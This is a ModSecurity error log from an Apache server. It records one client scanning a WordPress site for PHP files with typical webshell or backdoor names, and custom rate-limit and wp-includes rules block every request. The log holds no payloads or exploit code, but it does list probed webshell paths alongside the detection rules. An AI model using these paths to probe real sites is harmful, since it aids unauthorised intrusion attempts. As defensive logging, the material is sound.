[Mon Dec 01 19:59:56.135270 2025] [:error] [pid 3246:tid 3251] [client 4.215.220.131:26587] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aS2DPFkT8fezoNl7qjeCOwAAAEI"]
[Mon Dec 01 19:59:56.534527 2025] [:error] [pid 3246:tid 3261] [client 4.215.220.131:26612] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aS2DPFkT8fezoNl7qjeCPAAAAEw"]
[Mon Dec 01 19:59:56.792301 2025] [:error] [pid 3307:tid 3323] [client 4.215.220.131:53858] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aS2DPEhV_0w1hrv72n4ACQAAAQ4"]
[Mon Dec 01 19:59:57.034170 2025] [:error] [pid 5158:tid 5184] [client 4.215.220.131:53847] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aS2DPVsnIOgHXYZw9rY23AAAAZg"]
[Mon Dec 01 19:59:57.291580 2025] [:error] [pid 3307:tid 3316] [client 4.215.220.131:53845] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aS2DPUhV_0w1hrv72n4ACgAAAQc"]
[Mon Dec 01 19:59:57.541091 2025] [:error] [pid 5158:tid 5164] [client 4.215.220.131:26566] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aS2DPVsnIOgHXYZw9rY23gAAAYQ"]
[Mon Dec 01 19:59:57.862701 2025] [:error] [pid 3246:tid 3269] [client 4.215.220.131:53873] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aS2DPVkT8fezoNl7qjeCPgAAAFQ"]
[Mon Dec 01 19:59:58.232423 2025] [:error] [pid 3307:tid 3312] [client 4.215.220.131:53817] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aS2DPkhV_0w1hrv72n4ADgAAAQM"]
[Mon Dec 01 19:59:58.536686 2025] [:error] [pid 3307:tid 3315] [client 4.215.220.131:26526] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aS2DPkhV_0w1hrv72n4ADwAAAQY"]
[Mon Dec 01 19:59:58.831284 2025] [:error] [pid 3246:tid 3265] [client 4.215.220.131:53866] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aS2DPlkT8fezoNl7qjeCQQAAAFA"]
[Mon Dec 01 19:59:59.259617 2025] [:error] [pid 5120:tid 5122] [client 4.215.220.131:26563] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aS2DPz5X7_hfFhnUCkLV9AAAAUA"]
[Mon Dec 01 19:59:59.678028 2025] [:error] [pid 3343:tid 3365] [client 4.215.220.131:26528] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aS2DP7Lh6htIpruGDDnTFgAAABQ"]
[Mon Dec 01 20:00:00.060365 2025] [:error] [pid 3246:tid 3273] [client 4.215.220.131:53827] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aS2DQFkT8fezoNl7qjeCRQAAAFg"]
[Mon Dec 01 20:00:00.420957 2025] [:error] [pid 5120:tid 5126] [client 4.215.220.131:26569] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aS2DQD5X7_hfFhnUCkLV9wAAAUQ"]
[Mon Dec 01 20:00:00.761888 2025] [:error] [pid 3307:tid 3311] [client 4.215.220.131:53868] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aS2DQEhV_0w1hrv72n4AEwAAAQI"]
[Mon Dec 01 20:00:01.044257 2025] [:error] [pid 3307:tid 3322] [client 4.215.220.131:26573] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aS2DQUhV_0w1hrv72n4AFAAAAQ0"]
[Mon Dec 01 20:00:01.441879 2025] [:error] [pid 3246:tid 3266] [client 4.215.220.131:53876] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aS2DQVkT8fezoNl7qjeCRwAAAFE"]
[Mon Dec 01 20:00:01.740779 2025] [:error] [pid 5120:tid 5128] [client 4.215.220.131:53848] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yu.php"] [unique_id "aS2DQT5X7_hfFhnUCkLV-AAAAUY"]
[Mon Dec 01 20:00:02.133579 2025] [:error] [pid 3384:tid 3393] [client 4.215.220.131:53882] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yu.php"] [unique_id "aS2DQorlvm8bC96s6ZFTJwAAAIc"]
[Mon Dec 01 20:00:02.554461 2025] [:error] [pid 3247:tid 3288] [client 4.215.220.131:53862] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yu.php"] [unique_id "aS2DQiMO2n3Q0MZfETI32AAAAMw"]
[Mon Dec 01 20:00:02.947562 2025] [:error] [pid 3246:tid 3261] [client 4.215.220.131:53823] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yu.php"] [unique_id "aS2DQlkT8fezoNl7qjeCSwAAAEw"]
[Mon Dec 01 20:00:03.283069 2025] [:error] [pid 3307:tid 3315] [client 4.215.220.131:26514] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/Marvins.php"] [unique_id "aS2DQ0hV_0w1hrv72n4AHgAAAQY"]
[Mon Dec 01 20:00:03.622948 2025] [:error] [pid 3307:tid 3333] [client 4.215.220.131:53830] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/Marvins.php"] [unique_id "aS2DQ0hV_0w1hrv72n4AHwAAARg"]
[Mon Dec 01 20:00:04.024751 2025] [:error] [pid 3343:tid 3356] [client 4.215.220.131:53887] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/Marvins.php"] [unique_id "aS2DRLLh6htIpruGDDnTGwAAAAs"]
[Mon Dec 01 20:00:04.380702 2025] [:error] [pid 5120:tid 5134] [client 4.215.220.131:53766] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/Marvins.php"] [unique_id "aS2DRD5X7_hfFhnUCkLV-wAAAUw"]
[Mon Dec 01 20:00:04.866713 2025] [:error] [pid 5158:tid 5169] [client 4.215.220.131:53851] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aS2DRFsnIOgHXYZw9rY28QAAAYk"]
[Mon Dec 01 20:00:05.352653 2025] [:error] [pid 5158:tid 5165] [client 4.215.220.131:53792] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aS2DRVsnIOgHXYZw9rY28gAAAYU"]
[Mon Dec 01 20:00:05.658663 2025] [:error] [pid 5158:tid 5176] [client 4.215.220.131:53832] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aS2DRVsnIOgHXYZw9rY29AAAAZA"]
[Mon Dec 01 20:00:05.958211 2025] [:error] [pid 5120:tid 5131] [client 4.215.220.131:53839] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aS2DRT5X7_hfFhnUCkLV_AAAAUk"]
[Mon Dec 01 20:00:06.381864 2025] [:error] [pid 3246:tid 3270] [client 4.215.220.131:26579] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/124.php"] [unique_id "aS2DRlkT8fezoNl7qjeCTQAAAFU"]
[Mon Dec 01 20:00:06.631017 2025] [:error] [pid 3246:tid 3271] [client 4.215.220.131:53819] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/124.php"] [unique_id "aS2DRlkT8fezoNl7qjeCTgAAAFY"]
[Mon Dec 01 20:00:07.093993 2025] [:error] [pid 5158:tid 5180] [client 4.215.220.131:26567] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/124.php"] [unique_id "aS2DR1snIOgHXYZw9rY29gAAAZQ"]
[Mon Dec 01 20:00:07.572411 2025] [:error] [pid 5158:tid 5166] [client 4.215.220.131:53797] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/124.php"] [unique_id "aS2DR1snIOgHXYZw9rY2-AAAAYY"]
[Mon Dec 01 20:00:08.015856 2025] [:error] [pid 3246:tid 3273] [client 4.215.220.131:53803] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS2DSFkT8fezoNl7qjeCUQAAAFg"]
[Mon Dec 01 20:00:08.571266 2025] [:error] [pid 5120:tid 5122] [client 4.215.220.131:53824] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS2DSD5X7_hfFhnUCkLV_wAAAUA"]
[Mon Dec 01 20:00:09.471799 2025] [:error] [pid 5120:tid 5127] [client 4.215.220.131:53816] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS2DST5X7_hfFhnUCkLWAAAAAUU"]
[Mon Dec 01 20:00:09.968196 2025] [:error] [pid 3246:tid 3264] [client 4.215.220.131:26609] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS2DSVkT8fezoNl7qjeCVAAAAE8"]
[Mon Dec 01 20:00:10.387783 2025] [:error] [pid 5158:tid 5183] [client 4.215.220.131:26603] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/q.php"] [unique_id "aS2DSlsnIOgHXYZw9rY2-wAAAZc"]
[Mon Dec 01 20:00:10.829269 2025] [:error] [pid 3307:tid 3332] [client 4.215.220.131:53793] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/q.php"] [unique_id "aS2DSkhV_0w1hrv72n4AKAAAARc"]
[Mon Dec 01 20:00:11.231998 2025] [:error] [pid 5120:tid 5125] [client 4.215.220.131:53825] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/q.php"] [unique_id "aS2DSz5X7_hfFhnUCkLWAwAAAUM"]
[Mon Dec 01 20:00:11.772864 2025] [:error] [pid 5120:tid 5129] [client 4.215.220.131:53878] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/q.php"] [unique_id "aS2DSz5X7_hfFhnUCkLWBQAAAUc"]
[Mon Dec 01 20:00:12.079351 2025] [:error] [pid 3343:tid 3350] [client 4.215.220.131:53778] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aS2DTLLh6htIpruGDDnTIwAAAAU"]
[Mon Dec 01 20:00:12.475071 2025] [:error] [pid 3247:tid 3284] [client 4.215.220.131:26498] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aS2DTCMO2n3Q0MZfETI35QAAAMg"]
[Mon Dec 01 20:00:12.764710 2025] [:error] [pid 5158:tid 5163] [client 4.215.220.131:26524] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aS2DTFsnIOgHXYZw9rY2_gAAAYM"]
[Mon Dec 01 20:00:13.098065 2025] [:error] [pid 5120:tid 5135] [client 4.215.220.131:53810] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aS2DTT5X7_hfFhnUCkLWCQAAAU0"]
[Mon Dec 01 20:00:13.423009 2025] [:error] [pid 3307:tid 3313] [client 4.215.220.131:26508] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aS2DTUhV_0w1hrv72n4ALwAAAQQ"]
[Mon Dec 01 20:00:13.758991 2025] [:error] [pid 3247:tid 3299] [client 4.215.220.131:53799] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aS2DTSMO2n3Q0MZfETI36QAAANc"]
[Mon Dec 01 20:00:14.050848 2025] [:error] [pid 3246:tid 3261] [client 4.215.220.131:26596] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aS2DTlkT8fezoNl7qjeCVgAAAEw"]
[Mon Dec 01 20:00:14.332917 2025] [:error] [pid 3246:tid 3258] [client 4.215.220.131:26556] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aS2DTlkT8fezoNl7qjeCVwAAAEk"]
[Mon Dec 01 20:00:14.604985 2025] [:error] [pid 3384:tid 3387] [client 4.215.220.131:53800] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aS2DTorlvm8bC96s6ZFTNgAAAIE"]
[Mon Dec 01 20:00:14.940662 2025] [:error] [pid 3307:tid 3319] [client 4.215.220.131:26582] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aS2DTkhV_0w1hrv72n4AMQAAAQo"]
[Mon Dec 01 20:00:15.182463 2025] [:error] [pid 3246:tid 3254] [client 4.215.220.131:26575] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aS2DT1kT8fezoNl7qjeCWQAAAEU"]
[Mon Dec 01 20:00:15.462164 2025] [:error] [pid 3307:tid 3331] [client 4.215.220.131:26565] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aS2DT0hV_0w1hrv72n4AMgAAARY"]
[Mon Dec 01 20:00:15.735177 2025] [:error] [pid 3384:tid 3402] [client 4.215.220.131:26584] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/multi.php"] [unique_id "aS2DT4rlvm8bC96s6ZFTOQAAAJA"]
[Mon Dec 01 20:00:17.037214 2025] [:error] [pid 5158:tid 5167] [client 4.215.220.131:26504] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/multi.php"] [unique_id "aS2DUVsnIOgHXYZw9rY3AQAAAYc"]
[Mon Dec 01 20:00:17.294817 2025] [:error] [pid 3384:tid 3391] [client 4.215.220.131:26585] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/multi.php"] [unique_id "aS2DUYrlvm8bC96s6ZFTPQAAAIU"]
